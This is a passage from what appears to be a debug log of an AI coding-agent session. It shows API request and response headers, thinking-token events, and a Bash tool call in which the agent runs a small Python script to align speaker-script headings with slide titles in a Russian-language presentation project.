\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f. \u041e\u0442\u0447\u0451\u0442 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0441\u044b\u0440\u044b\u043c\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:345:\u0434\u043e\u043c\u0435\u043d\u0435. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e `ba-ai-playbook` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:366:| \u0425\u0440\u0430\u043d\u0438\u0442\u044c debug-\u0441\u0435\u0441\u0441\u0438\u0438 \u043a\u0430\u043a `runs/DEBUG-*` | \u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e: \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043e\u0446\u0435\u043d\u043a\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:26.039Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:26.039Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:26.039Z] [INFO]   }\n[2026-09-29T07:55:26.039Z] [INFO] }\n[2026-09-29T07:55:26.100Z] [STDOUT] [log_c7edce] sending request {\n[2026-09-29T07:55:26.103Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:26.107Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:26.113Z] [STDOUT]   options: {\n[2026-09-29T07:55:26.116Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:26.120Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:26.123Z] [STDOUT]     body: {\n[2026-09-29T07:55:26.131Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:26.134Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:26.136Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:26.138Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:26.145Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:26.149Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:26.153Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:26.158Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:26.166Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:26.169Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:26.172Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:26.185Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:26.190Z] [STDOUT]     },\n[2026-09-29T07:55:26.192Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:26.194Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:26.201Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:26.207Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:26.209Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:26.214Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:26.220Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:26.230Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:26.248Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:26.260Z] [STDOUT]     },\n[2026-09-29T07:55:26.264Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:26.269Z] [STDOUT]   },\n[2026-09-29T07:55:26.275Z] [STDOUT]   headers: {\n[2026-09-29T07:55:26.285Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:26.293Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:26.299Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:26.310Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:26.324Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:26.342Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:26.365Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:26.369Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:26.373Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:26.380Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2021\",\n[2026-09-29T07:55:26.392Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:26.402Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:26.409Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:26.414Z] [STDOUT]     \"x-client-request-id\": \"106ab3cc-f6aa-43d4-9552-8984c0833a4a\",\n[2026-09-29T07:55:26.449Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:26.459Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:26.462Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:26.465Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:26.470Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:26.473Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:26.483Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:26.488Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:26.497Z] [STDOUT]   },\n[2026-09-29T07:55:26.501Z] [STDOUT] }\n[2026-09-29T07:55:26.890Z] [STDOUT] [log_c7edce, request-id: \"req_011CfXNX5mm4Z2XzrTDFFD5p\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 797ms\n[2026-09-29T07:55:26.896Z] [STDOUT] [log_c7edce] response start {\n[2026-09-29T07:55:26.899Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:26.901Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:26.917Z] [STDOUT]   headers: {\n[2026-09-29T07:55:26.927Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:26.950Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:26.968Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:26.974Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:26.978Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:26.982Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:26.983Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:26.986Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:26.989Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:26.995Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:26.999Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:27.004Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:27.007Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:27.009Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.013Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:27.021Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:27.024Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:27.026Z] [STDOUT]     \"cf-ray\": \"a4296cf02d405d90-FRA\",\n[2026-09-29T07:55:27.030Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:27.033Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:27.040Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:27.045Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:27.049Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:26 GMT\",\n[2026-09-29T07:55:27.053Z] [STDOUT]     \"request-id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:27.057Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:27.061Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:27.064Z] [STDOUT]     traceresponse: \"00-0f5c6208658c7ea7869515dfac79f31e-30c9eca027ffde48-01\",\n[2026-09-29T07:55:27.066Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:27.068Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:27.071Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:27.073Z] [STDOUT]   },\n[2026-09-29T07:55:27.075Z] [STDOUT]   durationMs: 797,\n[2026-09-29T07:55:27.077Z] [STDOUT] }\n[2026-09-29T07:55:27.080Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:27.084Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:26 GMT\",\n[2026-09-29T07:55:27.087Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:27.089Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:27.092Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:27.098Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:27.102Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:27.105Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:27.107Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:27.110Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:27.112Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:27.116Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:27.119Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:27.122Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:27.126Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:27.138Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:27.145Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:27.157Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.160Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:27.163Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:27.167Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:27.171Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:27.174Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:27.178Z] [STDOUT]   \"request-id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:27.182Z] [STDOUT]   \"traceresponse\": \"00-0f5c6208658c7ea7869515dfac79f31e-30c9eca027ffde48-01\",\n[2026-09-29T07:55:27.184Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:27.191Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:27.194Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:27.197Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:27.202Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:27.206Z] [STDOUT]   \"cf-ray\": \"a4296cf02d405d90-FRA\",\n[2026-09-29T07:55:27.209Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:27.212Z] [STDOUT] [log_c7edce] response parsed {\n[2026-09-29T07:55:27.216Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:27.223Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:27.229Z] [STDOUT]   body: X {\n[2026-09-29T07:55:27.236Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:27.239Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:27.243Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:27.253Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:27.259Z] [STDOUT]     },\n[2026-09-29T07:55:27.262Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:27.266Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:27.271Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:27.275Z] [STDOUT]   },\n[2026-09-29T07:55:27.278Z] [STDOUT]   durationMs: 798,\n[2026-09-29T07:55:27.280Z] [STDOUT] }\n[2026-09-29T07:55:27.453Z] [INFO] {\n[2026-09-29T07:55:27.453Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:27.453Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:27.453Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"uuid\": \"7f6292df-e116-4ae8-a758-8dc5a899b5ee\"\n[2026-09-29T07:55:27.453Z] [INFO] }\n[2026-09-29T07:55:28.620Z] [INFO] {\n[2026-09-29T07:55:28.620Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:55:28.620Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:28.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"uuid\": \"9f0de614-e65e-4754-9f63-0930db373e4c\"\n[2026-09-29T07:55:28.620Z] [INFO] }\n[2026-09-29T07:55:29.765Z] [INFO] {\n[2026-09-29T07:55:29.765Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:55:29.765Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:29.765Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"uuid\": \"3a309892-7d06-4326-8aef-e768f2c311cf\"\n[2026-09-29T07:55:29.765Z] [INFO] }\n[2026-09-29T07:55:30.829Z] [INFO] {\n[2026-09-29T07:55:30.829Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:55:30.829Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:30.829Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"uuid\": \"4bcf48f9-34e4-4974-95d2-eea2834c4455\"\n[2026-09-29T07:55:30.829Z] [INFO] }\n[2026-09-29T07:55:31.889Z] [INFO] {\n[2026-09-29T07:55:31.889Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"estimated_tokens\": 550,\n[2026-09-29T07:55:31.889Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:31.889Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"uuid\": \"b5b790d1-11c5-4c3d-8b24-c6f2ff8e43a0\"\n[2026-09-29T07:55:31.889Z] [INFO] }\n[2026-09-29T07:55:34.831Z] [INFO] {\n[2026-09-29T07:55:34.831Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"estimated_tokens\": 620,\n[2026-09-29T07:55:34.831Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:34.831Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"uuid\": 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{\n[2026-09-29T07:55:34.911Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"id\": \"msg_011CfXNX6EYcgCGmFXwY8Db1\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"content\": [\n[2026-09-29T07:55:34.911Z] [INFO]       {\n[2026-09-29T07:55:34.911Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:34.911Z] [INFO]         \"thinking\": \"I found several issues to fix: mismatched claims on slides 3 and 4, unverified details in the security and \u0418\u0411 answers, and headings that don't match the slides exactly. I'll correct these now.\\n\\n\",\n[2026-09-29T07:55:34.911Z] [INFO]         \"signature\": \"CAQS7wcKEQgSGAI4AUIJbmFycmF0aW9uEgxF5qermDB/HknnewkaDFVidUfxLf1faJqM4iIwK4j5vBuKwec3/p212or1tHBhGoyaQMpjdL8i69oCjouxYcMpbX0lZolnISwBdv7cKosHixGDSKqTGAZ+BNmdOGv/87nwKMKLxWg+AjvB2zDgNorBowVZsjAY1lyC0Qb95ZIf0v/5bU/6DxODuvH/PDZD1jZtiuYW2Ic6OPHJcJWUM/YJG/KUrp+q0en3JjhyDna8urmJDtXoiABDxoH+3G8qUgbj3WvEMrcjee0stgYYIH7qoRIlMETd33mYn29alIKBEdsOXSdIlZPIZ9YggYNzDIDiviVmI5HOk+iEbQHnMU0KziPc8lkvqQ1YhyjG9SYUafY9okyzIxs+IBMx9CvGovPCFIIiBiJ+N2Nq/BIM1yCe2ftL6PePvk6Kb14xDgXx0ZkGDJFfo38ifU4++OkU7CqJ8KvLs3JR4XN3uyx7DstAZkUGuZIC6s03I2toucPWB7wkz6X2Z31LDo3ZWhqM4Esxp/1V6VoQykw2Ki8HXCRBZETYi3+csq6VI7wmPtJAab9hghZzMST0XF+8vwqpN+8DlrTf6a3WVfsdILIoegNVck8gs1yowjBCKc7tS3ey8iS9JPCSzATD1SDRHTKyxAJn5E/E++MIgo6KA+298ZTHJJjBkoxnUwS1HMNlABwYWjeSNmRNiUA3VNxgwsFJWabquZfecn2Lc4B9AgQlicaAu6CGsknOlBgsJ4eLjEAWGhwx4h3Jwi5MHBkI27l4I/dDoZ2WlUwd486oRD5T2LnRLSNurtgfWjTSkSPB2ai5AP+dCwNCUdoxtWwfRn28jjJupK7Y6TdqfJ7UsUycFgOS9jgFmafs/UCw6F1Xh0+/9tjIkJN9IjqPNs+3wydG7gQWlgiuBvWnY9JNG/K/daPucU2pw7E9n7/hpH4eWS5D1ENolb9WSY7zdOkGQAtgjKuBGFTE5b+JeaDLpimf5DD/lcebPhK/R2aedEVafCaMD4ZoDfTov5SzUESd5Ch48RWDOvKlIOb00eu1lQdR4i1CJCFKypXXm0l6fuMcm8PdwujEprHIVj7nP3/Y1zEYH/FtftAeecX9TioL5HemIrlcNh5ewYm46U/LMS+gtBTR+YhxVt4c/Sa4ocZkmlktyKqE04V91upcNCWQJIjPHTOigKp3VF4WDTtNvI9e2dm9Y/KjZglo/PL7aoLgeDl9SySe3CY27Bw7wJzz5ByGaICKsOCOUs4UiestthWTyf2waYW0yMIM2o+xSjzLAVmPokbgDxg0UC8G2QFN/bm3Me45FDj69zutK4hG1xgB\"\n[2026-09-29T07:55:34.911Z] [INFO]       }\n[2026-09-29T07:55:34.911Z] [INFO]     ],\n[2026-09-29T07:55:34.911Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:34.911Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_creation_input_tokens\": 3945,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_read_input_tokens\": 49232,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:34.911Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:34.911Z] [INFO]         \"ephemeral_1h_input_tokens\": 3945\n[2026-09-29T07:55:34.911Z] [INFO]       },\n[2026-09-29T07:55:34.911Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:55:34.911Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:34.911Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:34.911Z] [INFO]     },\n[2026-09-29T07:55:34.911Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:34.911Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:34.911Z] [INFO]   },\n[2026-09-29T07:55:34.911Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:34.911Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"uuid\": \"7a1e0c9c-b82e-4084-b499-6ce93962304d\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:34.835Z\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"request_id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:55:34.911Z] [INFO]     0\n[2026-09-29T07:55:34.911Z] [INFO]   ]\n[2026-09-29T07:55:34.911Z] [INFO] }\n[2026-09-29T07:55:36.672Z] [INFO] {\n[2026-09-29T07:55:36.672Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"message\": {\n[2026-09-29T07:55:36.672Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"id\": \"msg_011CfXNX6EYcgCGmFXwY8Db1\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"content\": [\n[2026-09-29T07:55:36.672Z] [INFO]       {\n[2026-09-29T07:55:36.672Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"id\": \"toolu_01FrvHTqdGohhzFzwuayPs65\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"input\": {\n[2026-09-29T07:55:36.672Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md; S=2026-09-29-meta-model-presentation-slides.md\\npython3 - \\\"$F\\\" \\\"$S\\\" <<'EOF'\\nimport re,sys\\nf,s=sys.argv[1],sys.argv[2]\\nt=open(f).read()\\nheads=dict(re.findall(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. (.*)$',open(s).read(),re.M))\\nt=re.sub(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. .*$',lambda m:m.group(1)+'. '+heads[m.group(1)],t,flags=re.M)\\nopen(f,'w').write(t)\\nEOF\\ngrep -n '^## \u0421\u043b\u0430\u0439\u0434' $F\",\n[2026-09-29T07:55:36.672Z] [INFO]           \"description\": \"Sync speaker-script headings with slide titles\"\n[2026-09-29T07:55:36.672Z] [INFO]         },\n[2026-09-29T07:55:36.672Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:36.672Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:36.672Z] [INFO]         }\n[2026-09-29T07:55:36.672Z] [INFO]       }\n[2026-09-29T07:55:36.672Z] [INFO]     ],\n[2026-09-29T07:55:36.672Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:36.672Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_creation_input_tokens\": 3945,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_read_input_tokens\": 49232,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:36.672Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:36.672Z] [INFO]         \"ephemeral_1h_input_tokens\": 3945\n[2026-09-29T07:55:36.672Z] [INFO]       },\n[2026-09-29T07:55:36.672Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:55:36.672Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:36.672Z] [INFO]       \"inference_geo\": 